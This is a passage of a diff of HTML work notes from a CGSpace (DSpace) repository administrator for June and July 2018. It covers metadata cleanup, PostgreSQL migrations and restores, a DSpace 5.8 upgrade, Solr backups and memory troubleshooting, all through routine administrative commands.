$ ./fix-metadata-values.py -i /tmp/2018-05-30-Correct-660-authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correct -m 3 -n
+
    +
  • I think a sane proofing workflow in OpenRefine is to apply the custom text facets for check/delete/remove and illegal characters that I developed in March, 2018
    • +
  • Time to index ~70,000 items on CGSpace:
    • +
+
$ time schedtool -D -e ionice -c2 -n7 nice -n19 [dspace]/bin/dspace index-discovery -b                                  
+
+real    74m42.646s
+user    8m5.056s
+sys     2m7.289s
+

2018-06-06

+
    +
  • It turns out that I needed to add a server block for atmire.com-snapshots to my Maven settings, so now the Atmire code builds
    • +
  • Now Maven and Ant run properly, but I’m getting SQL migration errors in dspace.log after starting Tomcat
    • +
  • I’ve updated my ticket on Atmire’s bug tracker: https://tracker.atmire.com/tickets-cgiar-ilri/view-ticket?id=560
    • +
+

2018-06-07

+
    +
  • Proofing 200 IITA records on DSpace Test for Sisay: IITA_Junel_06 (10568/95391) +
      +
    • Mispelled authorship type: CGAIR single center should be: CGIAR single centre
      • +
    • I see some encoding errors in author affiliations, for example: +
        +
      • Universidade de SÆo Paulo
        • +
      • Institut National des Recherches Agricoles du B nin
        • +
      • Centre de Coop ration Internationale en Recherche Agronomique pour le D veloppement
        • +
      • Institut des Recherches Agricoles du B nin
        • +
      • Institut des Savannes, C te d’ Ivoire
        • +
      • Institut f r Pflanzenpathologie und Pflanzenschutz der Universit t, Germany
        • +
      • Projet de Gestion des Ressources Naturelles, B nin
        • +
      • Universit t Hannover
        • +
      • Universit F lix Houphouet-Boigny
        • +
      +
      • +
    +
    • +
  • I uploaded fixes for all those now, but I will continue with the rest of the data later
    • +
  • Regarding the SQL migration errors, Atmire told me I need to run some migrations manually in PostgreSQL:
    • +
+
delete from schema_version where version = '5.6.2015.12.03.2';
+update schema_version set version = '5.6.2015.12.03.2' where version = '5.5.2015.12.03.2';
+update schema_version set version = '5.8.2015.12.03.3' where version = '5.5.2015.12.03.3';
+
    +
  • And then I need to ignore the ignored ones:
    • +
+
$ ~/dspace/bin/dspace database migrate ignored
+
    +
  • Now DSpace starts up properly!
    • +
  • Gabriela from CIP got back to me about the author names we were correcting on CGSpace
    • +
  • I did a quick sanity check on them and then did a test import with my fix-metadata-value.py script:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2018-06-08-CIP-Authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -t correct -m 3
+
    +
  • I will apply them on CGSpace tomorrow I think…
    • +
+

2018-06-09

+
    +
  • It’s pretty annoying, but the JVM monitoring for Munin was never set up when I migrated DSpace Test to its new server a few months ago
    • +
  • I ran the tomcat and munin-node tags in Ansible again and now the stuff is all wired up and recording stats properly
    • +
  • I applied the CIP author corrections on CGSpace and DSpace Test and re-ran the Discovery indexing
    • +
+

2018-06-10

+
    +
  • I spent some time removing the Atmire Metadata Quality Module (MQM) from the proposed DSpace 5.8 changes
    • +
  • After removing all code mentioning MQM, mqm, metadata-quality, batchedit, duplicatechecker, etc, I think I got most of it removed, but there is a Spring error during Tomcat startup:
    • +
+
 INFO [org.dspace.servicemanager.DSpaceServiceManager] Shutdown DSpace core service manager
+Failed to startup the DSpace Service Manager: failure starting up spring service manager: Error creating bean with name 'org.dspace.servicemanager.spring.DSpaceBeanPostProcessor#0' defined in class path resource [spring/spring-dspace-applicationContext.xml]: Unsatisfied dependency expressed through constructor argument with index 0 of type [org.dspace.servicemanager.config.DSpaceConfigurationService]: : Cannot find class [com.atmire.dspace.discovery.ItemCollectionPlugin] for bean with name 'itemCollectionPlugin' defined in file [/home/aorth/dspace/config/spring/api/discovery.xml];
+
    +
  • I can fix this by commenting out the ItemCollectionPlugin line of discovery.xml, but from looking at the git log I’m not actually sure if that is related to MQM or not
    • +
  • I will have to ask Atmire
    • +
  • I continued to look at Sisay’s IITA records from last week +
      +
    • I normalized all DOIs to use HTTPS and “doi.org” instead of “dx.doi.org”
      • +
    • I cleaned up white space in cg.subject.iita and dc.subject
      • +
    • Even a bunch of IITA and AGROVOC subjects are missing accents, ie “FERTILIT DU SOL”
      • +
    • More organization names in dc.description.sponsorship are incorrect (ie, missing accents) or inconsistent (ie, CGIAR centers should be spelled in English or multiple spellings of the same one, like “Rockefeller Foundation” and “Rockefeller foundation”)
      • +
    • A few dozen items have abstracts with character encoding errors, ie: +
        +
      • 33.7øC
        • +
      • MgSO4ú7H2O
        • +
      • ha??1&/sup;
        • +
      • En gen6ral
        • +
      • dÕpassÕ
        • +
      +
      • +
    • Also the abstracts have missing accents, ie “recherche sur le d veloppement”
      • +
    +
    • +
  • I will have to tell IITA people to redo these entirely I think…
    • +
+

2018-06-11

+
    +
  • Sisay sent a new version of the last IITA records that he created from the original CSV from IITA
    • +
  • The 200 records are in the IITA_Junel_11 (10568/95870) collection
    • +
  • Many errors: +
      +
    • Authorship types: “CGIAR ans advanced research institute”, “CGAIR and advanced research institute”, “CGIAR and advanced research institutes”, “CGAIR single center”
      • +
    • Lots of inconsistencies and mispellings in author affiliations: +
        +
      • “Institut des Recherches Agricoles du Bénin” and “Institut National des Recherche Agricoles du Benin” and “National Agricultural Research Institute, Benin”
        • +
      • International Insitute of Tropical Agriculture
        • +
      • Centro Internacional de Agricultura Tropical
        • +
      • “Rivers State University of Science and Technology” and “Rivers State University”
        • +
      • “Institut de la Recherche Agronomique, Cameroon” and “Institut de Recherche Agronomique, Cameroon”
        • +
      +
      • +
    • Inconsistency in countries: “COTE D’IVOIRE” and “COTE D’IVOIRE”
      • +
    • A few DOIs with spaces or invalid characters
      • +
    • Inconsistency in IITA subjects, for example “PRODUCTION VEGETALE” and “PRODUCTION VÉGÉTALE” and several others
      • +
    • I ran value.unescape('javascript') on the abstract and citation fields because it looks like this data came from a SQL database and some stuff was escaped
      • +
    +
    • +
  • It turns out that Abenet actually did a lot of small corrections on this data so when Sisay uses Bosede’s original file it doesn’t have all those corrections
    • +
  • So I told Sisay to re-create the collection using Abenet’s XLS from last week (Mercy1805_AY.xls)
    • +
  • I was curious to see if I could create a GREL for use with a custom text facet in Open Refine to find cells with two or more consecutive spaces
    • +
  • I always use the built-in trim and collapse transformations anyways, but this seems to work to find the offending cells: isNotNull(value.match(/.*?\s{2,}.*?/))
    • +
  • I wonder if I should start checking for “smart” quotes like ’ (hex 2019)
    • +
+

2018-06-12

+
    +
  • Udana from IWMI asked about the OAI base URL for their community on CGSpace + +
    • +
  • Regarding Udana’s Book Chapters and Reports on DSpace Test last week, Abenet told him to fix some character encoding and CRP issues, then I told him I’d check them after that
    • +
  • The latest batch of IITA’s 200 records (based on Abenet’s version Mercy1805_AY.xls) are now in the IITA_Jan_9_II_Ab collection
    • +
  • So here are some corrections: +
      +
    • use of Unicode smart quote (hex 2019) in countries and affiliations, for example “COTE D’IVOIRE” and “Institut d’Economic Rurale, Mali”
      • +
    • inconsistencies in cg.contributor.affiliation: +
        +
      • “Centro Internacional de Agricultura Tropical” and “Centro International de Agricultura Tropical” should use the English name of CIAT (International Center for Tropical Agriculture)
        • +
      • “Institut International d’Agriculture Tropicale” should use the English name of IITA (International Institute of Tropical Agriculture)
        • +
      • “East and Southern Africa Regional Center” and “Eastern and Southern Africa Regional Centre”
        • +
      • “Institut de la Recherche Agronomique, Cameroon” and “Institut de Recherche Agronomique, Cameroon”
        • +
      • “Institut des Recherches Agricoles du Bénin” and “Institut National des Recherche Agricoles du Benin” and “National Agricultural Research Institute, Benin”
        • +
      • “Institute of Agronomic Research, Cameroon” and “Institute of Agronomy Research, Cameroon”
        • +
      • “Rivers State University” and “Rivers State University of Science and Technology”
        • +
      • “Universität Hannover” and “University of Hannover”
        • +
      +
      • +
    • inconsistencies in cg.subject.iita: +
        +
      • “AMELIORATION DES PLANTES” and “AMÉLIORATION DES PLANTES”
        • +
      • “PRODUCTION VEGETALE” and “PRODUCTION VÉGÉTALE”
        • +
      • “CONTRÔLE DE MALADIES” and “CONTROLE DES MALADIES”
        • +
      • “HANDLING, TRANSPORT, STORAGE AND PROTECTION OF AGRICULTURAL PRODUCT” and “HANDLING, TRANSPORT, STORAGE AND PROTECTION OF AGRICULTURAL PRODUCTS”
        • +
      • “RAVAGEURS DE PLANTES” and “RAVAGEURS DES PLANTES”
        • +
      • “SANTE DES PLANTES” and “SANTÉ DES PLANTES”
        • +
      • “SOCIOECONOMIE” and “SOCIOECONOMY”
        • +
      +
      • +
    • inconsistencies in dc.description.sponsorship: +
        +
      • “Belgian Corporation” and “Belgium Corporation”
        • +
      +
      • +
    • inconsistencies in dc.subject: +
        +
      • “AFRICAN CASSAVA MOSAIC” and “AFRICAN CASSAVA MOSAIC DISEASE”
        • +
      • “ASPERGILLU FLAVUS” and “ASPERGILLUS FLAVUS”
        • +
      • “BIOTECHNOLOGIES” and “BIOTECHNOLOGY”
        • +
      • “CASSAVA MOSAIC DISEASE” and “CASSAVA MOSAIC DISEASES” and “CASSAVA MOSAIC VIRUS”
        • +
      • “CASSAVA PROCESSING” and “CASSAVA PROCESSING TECHNOLOGY”
        • +
      • “CROPPING SYSTEM” and “CROPPING SYSTEMS”
        • +
      • “DRY SEASON” and “DRY-SEASON”
        • +
      • “FERTILIZER” and “FERTILIZERS”
        • +
      • “LEGUME” and “LEGUMES”
        • +
      • “LEGUMINOSAE” and “LEGUMINOUS”
        • +
      • “LEGUMINOUS COVER CROP” and “LEGUMINOUS COVER CROPS”
        • +
      • “MATÉRIEL DE PLANTATION” and “MATÉRIELS DE PLANTATION”
        • +
      +
      • +
    • I noticed that some records do have encoding errors in the dc.description.abstract field, but only four of them so probably not from Abenet’s handling of the XLS file
      • +
    • Based on manually eyeballing the text I used a custom text facet with this GREL to identify the records:
      • +
    +
    • +
+
or(
+  value.contains('€'),
+  value.contains('6g'),
+  value.contains('6m'),
+  value.contains('6d'),
+  value.contains('6e')
+)
+
+

2018-06-13

+
    +
  • Elizabeth from CIAT contacted me to ask if I could add ORCID identifiers to all of Robin Buruchara’s items
    • +
  • I used my add-orcid-identifiers-csv.py script:
    • +
+
$ ./add-orcid-identifiers-csv.py -i 2018-06-13-Robin-Buruchara.csv -db dspace -u dspace -p 'fuuu'
+
    +
  • The contents of 2018-06-13-Robin-Buruchara.csv were:
    • +
+
dc.contributor.author,cg.creator.id
+"Buruchara, Robin",Robin Buruchara: 0000-0003-0934-1218
+"Buruchara, Robin A.",Robin Buruchara: 0000-0003-0934-1218
+
    +
  • On a hunch I checked to see if CGSpace’s bitstream cleanup was working properly and of course it’s broken:
    • +
+
$ dspace cleanup -v
+...
+Error: ERROR: update or delete on table "bitstream" violates foreign key constraint "bundle_primary_bitstream_id_fkey" on table "bundle"
+  Detail: Key (bitstream_id)=(152402) is still referenced from table "bundle".
+
    +
  • As always, the solution is to delete that ID manually in PostgreSQL:
    • +
+
$ psql dspace -c 'update bundle set primary_bitstream_id=NULL where primary_bitstream_id in (152402);'
+UPDATE 1
+

2018-06-14

+ +

2018-06-24

+
    +
  • I was restoring a PostgreSQL dump on my test machine and found a way to restore the CGSpace dump as the postgres user, but have the owner of the schema be the dspacetest user:
    • +
+
$ dropdb -h localhost -U postgres dspacetest
+$ createdb -h localhost -U postgres -O dspacetest --encoding=UNICODE dspacetest
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest superuser;'
+$ pg_restore -h localhost -U postgres -d dspacetest -O --role=dspacetest -h localhost /tmp/cgspace_2018-06-24.backup
+$ psql -h localhost -U postgres dspacetest -c 'alter user dspacetest nosuperuser;'
+
    +
  • The -O option to pg_restore makes the import process ignore ownership specified in the dump itself, and instead makes the schema owned by the user doing the restore
    • +
  • I always prefer to use the postgres user locally because it’s just easier than remembering the dspacetest user’s password, but then I couldn’t figure out why the resulting schema was owned by postgres
    • +
  • So with this you connect as the postgres superuser and then switch roles to dspacetest (also, make sure this user has superuser privileges before the restore)
    • +
  • Last week Linode emailed me to say that our Linode 8192 instance used for DSpace Test qualified for an upgrade
    • +
  • Apparently they announced some upgrades to most of their plans in 2018-05
    • +
  • After the upgrade I see we have more disk space available in the instance’s dashboard, so I shut the instance down and resized it from 98GB to 160GB
    • +
  • The resize was very quick (less than one minute) and after booting the instance back up I now have 160GB for the root filesystem!
    • +
  • I will move the DSpace installation directory back to the root file system and delete the extra 300GB block storage, as it was actually kinda slow when we put Solr there and now we don’t actually need it anymore because running the production Solr on this instance didn’t work well with 8GB of RAM
    • +
  • Also, the larger instance we’re using for CGSpace will go from 24GB of RAM to 32, and will also get a storage increase from 320GB to 640GB… that means we don’t need to consider using block storage right now!
    • +
  • The smaller instances get increased storage and network speed but I doubt many are actually using much of their current allocations so we probably don’t need to bother with upgrading them
    • +
  • Last week Abenet asked if we could add dc.language.iso to the advanced search filters
    • +
  • There is already a search filter for this field defined in discovery.xml but we aren’t using it, so I quickly enabled and tested it, then merged it to the 5_x-prod branch (#380)
    • +
  • Back to testing the DSpace 5.8 changes from Atmire, I had another issue with SQL migrations:
    • +
+
Caused by: org.flywaydb.core.api.FlywayException: Validate failed. Found differences between applied migrations and available migrations: Detected applied migration missing on the classpath: 5.8.2015.12.03.3
+
    +
  • It took me a while to figure out that this migration is for MQM, which I removed after Atmire’s original advice about the migrations so we actually need to delete this migration instead up updating it
    • +
  • So I need to make sure to run the following during the DSpace 5.8 upgrade:
    • +
+
-- Delete existing CUA 4 migration if it exists
+delete from schema_version where version = '5.6.2015.12.03.2';
+
+-- Update version of CUA 4 migration
+update schema_version set version = '5.6.2015.12.03.2' where version = '5.5.2015.12.03.2';
+
+-- Delete MQM migration since we're no longer using it
+delete from schema_version where version = '5.5.2015.12.03.3';
+
    +
  • After that you can run the migrations manually and then DSpace should work fine:
    • +
+
$ ~/dspace/bin/dspace database migrate ignored
+...
+Done.
+
    +
  • Elizabeth from CIAT contacted me to ask if I could add ORCID identifiers to all of Andy Jarvis’ items on CGSpace
    • +
  • I used my add-orcid-identifiers-csv.py script:
    • +
+
$ ./add-orcid-identifiers-csv.py -i 2018-06-24-andy-jarvis-orcid.csv -db dspacetest -u dspacetest -p 'fuuu'
+
    +
  • The contents of 2018-06-24-andy-jarvis-orcid.csv were:
    • +
+
dc.contributor.author,cg.creator.id
+"Jarvis, A.",Andy Jarvis: 0000-0001-6543-0798
+"Jarvis, Andy",Andy Jarvis: 0000-0001-6543-0798
+"Jarvis, Andrew",Andy Jarvis: 0000-0001-6543-0798
+

2018-06-26

+
    +
  • Atmire got back to me to say that we can remove the itemCollectionPlugin and HasBitstreamsSSIPlugin beans from DSpace’s discovery.xml file, as they are used by the Metadata Quality Module (MQM) that we are not using anymore
    • +
  • I removed both those beans and did some simple tests to check item submission, media-filter of PDFs, REST API, but got an error “No matches for the query” when listing records in OAI
    • +
  • This warning appears in the DSpace log:
    • +
+
2018-06-26 16:58:12,052 WARN  org.dspace.xoai.services.impl.xoai.DSpaceRepositoryConfiguration @ { OAI 2.0 :: DSpace } Not able to retrieve the dspace.oai.url property from oai.cfg. Falling back to request address
+
    +
  • It’s actually only a warning and it also appears in the logs on DSpace Test (which is currently running DSpace 5.5), so I need to keep troubleshooting
    • +
  • Ah, I think I just need to run dspace oai import
    • +
+

2018-06-27

+
    +
  • Vika from CIFOR sent back his annotations on the duplicates for the “CIFOR_May_9” archive import that I sent him last week
    • +
  • I’ll have to figure out how to separate those we’re keeping, deleting, and mapping into CIFOR’s archive collection
    • +
  • First, get the 62 deletes from Vika’s file and remove them from the collection:
    • +
+
$ grep delete 2018-06-22-cifor-duplicates.txt | grep -o -E '[0-9]{5}\/[0-9]{5}' > cifor-handle-to-delete.txt
+$ wc -l cifor-handle-to-delete.txt
+62 cifor-handle-to-delete.txt
+$ wc -l 10568-92904.csv
+2461 10568-92904.csv
+$ while read line; do sed -i "\#$line#d" 10568-92904.csv; done < cifor-handle-to-delete.txt
+$ wc -l 10568-92904.csv
+2399 10568-92904.csv
+
    +
  • This iterates over the handles for deletion and uses sed with an alternative pattern delimiter of ‘#’ (which must be escaped), because the pattern itself contains a ‘/’
    • +
  • The mapped ones will be difficult because we need their internal IDs in order to map them, and there are 50 of them:
    • +
+
$ grep map 2018-06-22-cifor-duplicates.txt | grep -o -E '[0-9]{5}\/[0-9]{5}' > cifor-handle-to-map.txt
+$ wc -l cifor-handle-to-map.txt
+50 cifor-handle-to-map.txt
+
    +
  • I can either get them from the databse, or programatically export the metadata using dspace metadata-export -i 10568/xxxxx…
    • +
  • Oooh, I can export the items one by one, concatenate them together, remove the headers, and extract the id and collection columns using csvkit:
    • +
+
$ while read line; do filename=${line/\//-}.csv; dspace metadata-export -i $line -f $filename; done < /tmp/cifor-handle-to-map.txt
+$ sed '/^id/d' 10568-*.csv | csvcut -c 1,2 > map-to-cifor-archive.csv
+
    +
  • Then I can use Open Refine to add the “CIFOR Archive” collection to the mappings
    • +
  • Importing the 2398 items via dspace metadata-import ends up with a Java garbage collection error, so I think I need to do it in batches of 1,000
    • +
  • After deleting the 62 duplicates, mapping the 50 items from elsewhere in CGSpace, and uploading 2,398 unique items, there are a total of 2,448 items added in this batch
    • +
  • I’ll let Abenet take one last look and then move them to CGSpace
    • +
+

2018-06-28

+
    +
  • DSpace Test appears to have crashed last night
    • +
  • There is nothing in the Tomcat or DSpace logs, but I see the following in dmesg -T:
    • +
+
[Thu Jun 28 00:00:30 2018] Out of memory: Kill process 14501 (java) score 701 or sacrifice child
+[Thu Jun 28 00:00:30 2018] Killed process 14501 (java) total-vm:14926704kB, anon-rss:5693608kB, file-rss:0kB, shmem-rss:0kB
+[Thu Jun 28 00:00:30 2018] oom_reaper: reaped process 14501 (java), now anon-rss:0kB, file-rss:0kB, shmem-rss:0kB
+
    +
  • Look over IITA’s IITA_Jan_9_II_Ab collection from earlier this month on DSpace Test
    • +
  • Bosede fixed a few things (and seems to have removed many French IITA subjects like AMÉLIORATION DES PLANTES and SANTÉ DES PLANTES)
    • +
  • I still see at least one issue with author affiliations, and I didn’t bother to check the AGROVOC subjects because it’s such a mess aanyways
    • +
  • I suggested that IITA provide an updated list of subject to us so we can include their controlled vocabulary in CGSpace, which would also make it easier to do automated validation
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2018-07/index.html b/docs/2018-07/index.html new file mode 100644 index 000000000..27d590373 --- /dev/null +++ b/docs/2018-07/index.html @@ -0,0 +1,623 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + July, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

July, 2018

+

+ + in + Notes + + +

+
+

2018-07-01

+
    +
  • I want to upgrade DSpace Test to DSpace 5.8 so I took a backup of its current database just in case:
    • +
+
$ pg_dump -b -v -o --format=custom -U dspace -f dspace-2018-07-01.backup dspace
+
    +
  • During the mvn package stage on the 5.8 branch I kept getting issues with java running out of memory:
    • +
+
There is insufficient memory for the Java Runtime Environment to continue.
+
    +
  • As the machine only has 8GB of RAM, I reduced the Tomcat memory heap from 5120m to 4096m so I could try to allocate more to the build process:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ mvn -U -Dmirage2.on=true -Dmirage2.deps.included=false -Denv=dspacetest.cgiar.org -P \!dspace-lni,\!dspace-rdf,\!dspace-sword,\!dspace-swordv2 clean package
+
    +
  • Then I stopped the Tomcat 7 service, ran the ant update, and manually ran the old and ignored SQL migrations:
    • +
+
$ sudo su - postgres
+$ psql dspace
+...
+dspace=# begin;
+BEGIN
+dspace=# \i Atmire-DSpace-5.8-Schema-Migration.sql
+DELETE 0
+UPDATE 1
+DELETE 1
+dspace=# commit
+dspace=# \q
+$ exit
+$ dspace database migrate ignored
+
    +
  • After that I started Tomcat 7 and DSpace seems to be working, now I need to tell our colleagues to try stuff and report issues they have
    • +
+

2018-07-02

+ +

2018-07-03

+
    +
  • Finally finish with the CIFOR Archive records (a total of 2448): +
      +
    • I mapped the 50 items that were duplicates from elsewhere in CGSpace into CIFOR Archive
      • +
    • I did one last check of the remaining 2398 items and found eight who have a cg.identifier.doi that links to some URL other than a DOI so I moved those to cg.identifier.url and cg.identifier.googleurl as appropriate
      • +
    • Also, thirteen items had a DOI in their citation, but did not have a cg.identifier.doi field, so I added those
      • +
    • Then I imported those 2398 items in two batches (to deal with memory issues):
      • +
    +
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ dspace metadata-import -e aorth@mjanja.ch -f /tmp/2018-06-27-New-CIFOR-Archive.csv
+$ dspace metadata-import -e aorth@mjanja.ch -f /tmp/2018-06-27-New-CIFOR-Archive2.csv
+
    +
  • I noticed there are many items that use HTTP instead of HTTPS for their Google Books URL, and some missing HTTP entirely:
    • +
+
dspace=# select count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=222 and text_value like 'http://books.google.%';
+ count
+-------
+   785
+dspace=# select count(*) from metadatavalue where resource_type_id=2 and metadata_field_id=222 and text_value ~ '^books\.google\..*';
+ count
+-------
+     4
+
    +
  • I think I should fix that as well as some other garbage values like “test” and “dspace.ilri.org” etc:
    • +
+
dspace=# begin;
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'http://books.google', 'https://books.google') where resource_type_id=2 and metadata_field_id=222 and text_value like 'http://books.google.%';
+UPDATE 785
+dspace=# update metadatavalue set text_value = regexp_replace(text_value, 'books.google', 'https://books.google') where resource_type_id=2 and metadata_field_id=222 and text_value ~ '^books\.google\..*';
+UPDATE 4
+dspace=# update metadatavalue set text_value='https://books.google.com/books?id=meF1CLdPSF4C' where resource_type_id=2 and metadata_field_id=222 and text_value='meF1CLdPSF4C';
+UPDATE 1
+dspace=# delete from metadatavalue where resource_type_id=2 and metadata_field_id=222 and metadata_value_id in (2299312, 10684, 10700, 996403);
+DELETE 4
+dspace=# commit;
+
    +
  • Testing DSpace 5.8 with PostgreSQL 9.6 and Tomcat 8.5.32 (instead of my usual 7.0.88) and for some reason I get autowire errors on Catalina startup with 8.5.32:
    • +
+
03-Jul-2018 19:51:37.272 SEVERE [localhost-startStop-1] org.apache.catalina.core.StandardContext.listenerStart Exception sending context initialized event to listener instance of class [org.dspace.servicemanager.servlet.DSpaceKernelServletContextListener]
+ java.lang.RuntimeException: Failure during filter init: Failed to startup the DSpace Service Manager: failure starting up spring service manager: Error creating bean with name 'conversionService' defined in file [/home/aorth/dspace/config/spring/xmlui/spring-dspace-addon-cua-services.xml]: Cannot create inner bean 'com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter#3f6c3e6a' of type [com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter] while setting bean property 'converters' with key [1]; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter#3f6c3e6a': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire field: private com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$FilterConverter com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter.filterConverter; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No matching bean of type [com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$FilterConverter] found for dependency: expected at least 1 bean which qualifies as autowire candidate for this dependency. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)}
+	at org.dspace.servicemanager.servlet.DSpaceKernelServletContextListener.contextInitialized(DSpaceKernelServletContextListener.java:92)
+	at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:4792)
+	at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5256)
+	at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150)
+	at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:754)
+	at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:730)
+	at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:734)
+	at org.apache.catalina.startup.HostConfig.deployDescriptor(HostConfig.java:629)
+	at org.apache.catalina.startup.HostConfig$DeployDescriptor.run(HostConfig.java:1839)
+	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
+	at java.util.concurrent.FutureTask.run(FutureTask.java:266)
+	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+	at java.lang.Thread.run(Thread.java:748)
+Caused by: java.lang.RuntimeException: Failed to startup the DSpace Service Manager: failure starting up spring service manager: Error creating bean with name 'conversionService' defined in file [/home/aorth/dspace/config/spring/xmlui/spring-dspace-addon-cua-services.xml]: Cannot create inner bean 'com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter#3f6c3e6a' of type [com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter] while setting bean property 'converters' with key [1]; nested exception is org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter#3f6c3e6a': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire field: private com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$FilterConverter com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$ColumnsConverter.filterConverter; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No matching bean of type [com.atmire.app.xmlui.aspect.statistics.mostpopular.MostPopularConfig$FilterConverter] found for dependency: expected at least 1 bean which qualifies as autowire candidate for this dependency. Dependency annotations: {@org.springframework.beans.factory.annotation.Autowired(required=true)}
+
    +
  • Gotta check that out later…
    • +
+

2018-07-04

+
    +
  • I verified that the autowire error indeed only occurs on Tomcat 8.5, but the application works fine on Tomcat 7
    • +
  • I have raised this in the DSpace 5.8 compatibility ticket on Atmire’s tracker
    • +
  • Abenet wants me to add “United Kingdom government” to the sponsors on CGSpace so I created a ticket to track it (#381)
    • +
  • Also, Udana wants me to add “Enhancing Sustainability Across Agricultural Systems” to the WLE Phase II research themes so I created a ticket to track that (#382)
    • +
  • I need to try to finish this DSpace 5.8 business first because I have too many branches with cherry-picks going on right now!
    • +
+

2018-07-06

+
    +
  • CCAFS want me to add “PII-FP2_MSCCCAFS” to their Phase II project tags on CGSpace (#383)
    • +
  • I’ll do it in a batch with all the other metadata updates next week
    • +
+

2018-07-08

+
    +
  • I was tempted to do the Linode instance upgrade on CGSpace (linode18), but after looking closely at the system backups I noticed that Solr isn’t being backed up to S3
    • +
  • I apparently noticed this—and fixed it!—in 2016-07, but it doesn’t look like the backup has been updated since then!
    • +
  • It looks like I added Solr to the backup_to_s3.sh script, but that script is not even being used (s3cmd is run directly from root’s crontab)
    • +
  • For now I have just initiated a manual S3 backup of the Solr data:
    • +
+
# s3cmd sync --delete-removed /home/backup/solr/ s3://cgspace.cgiar.org/solr/
+
    +
  • But I need to add this to cron!
    • +
  • I wonder if I should convert some of the cron jobs to systemd services / timers…
    • +
  • I sent a note to all our users on Yammer to ask them about possible maintenance on Sunday, July 14th
    • +
  • Abenet wants to be able to search by journal title (dc.source) in the advanced Discovery search so I opened an issue for it (#384)
    • +
  • I regenerated the list of names for all our ORCID iDs using my resolve-orcids.py script:
    • +
+
$ grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' ~/src/git/DSpace/dspace/config/controlled-vocabularies/cg-creator-id.xml | sort | uniq > /tmp/2018-07-08-orcids.txt
+$ ./resolve-orcids.py -i /tmp/2018-07-08-orcids.txt -o /tmp/2018-07-08-names.txt -d
+
    +
  • But after comparing to the existing list of names I didn’t see much change, so I just ignored it
    • +
+

2018-07-09

+
    +
  • Uptime Robot said that CGSpace was down for two minutes early this morning but I don’t see anything in Tomcat logs or dmesg
    • +
  • Uptime Robot said that CGSpace was down for two minutes again later in the day, and this time I saw a memory error in Tomcat’s catalina.out:
    • +
+
Exception in thread "http-bio-127.0.0.1-8081-exec-557" java.lang.OutOfMemoryError: Java heap space
+
    +
  • I’m not sure if it’s the same error, but I see this in DSpace’s solr.log:
    • +
+
2018-07-09 06:25:09,913 ERROR org.apache.solr.servlet.SolrDispatchFilter @ null:java.lang.RuntimeException: java.lang.OutOfMemoryError: Java heap space
+
    +
  • I see a strange error around that time in dspace.log.2018-07-08:
    • +
+
2018-07-09 06:23:43,510 ERROR com.atmire.statistics.SolrLogThread @ IOException occured when talking to server at: http://localhost:8081/solr/statistics
+org.apache.solr.client.solrj.SolrServerException: IOException occured when talking to server at: http://localhost:8081/solr/statistics
+
    +
  • But not sure what caused that…
    • +
  • I got a message from Linode tonight that CPU usage was high on CGSpace for the past few hours around 8PM GMT
    • +
  • Looking in the nginx logs I see the top ten IP addresses active today:
    • +
+
# zcat --force /var/log/nginx/*.log /var/log/nginx/*.log.1 | grep -E "09/Jul/2018" | awk '{print $1}' | sort | uniq -c | sort -n | tail -n 10
+   1691 40.77.167.84
+   1701 40.77.167.69
+   1718 50.116.102.77
+   1872 137.108.70.6
+   2172 157.55.39.234
+   2190 207.46.13.47
+   2848 178.154.200.38
+   4367 35.227.26.162
+   4387 70.32.83.92
+   4738 95.108.181.88
+
    +
  • Of those, all except 70.32.83.92 and 50.116.102.77 are NOT re-using their Tomcat sessions, for example from the XMLUI logs:
    • +
+
$ grep -c -E 'session_id=[A-Z0-9]{32}:ip_addr=95.108.181.88' dspace.log.2018-07-09
+4435
+
    +
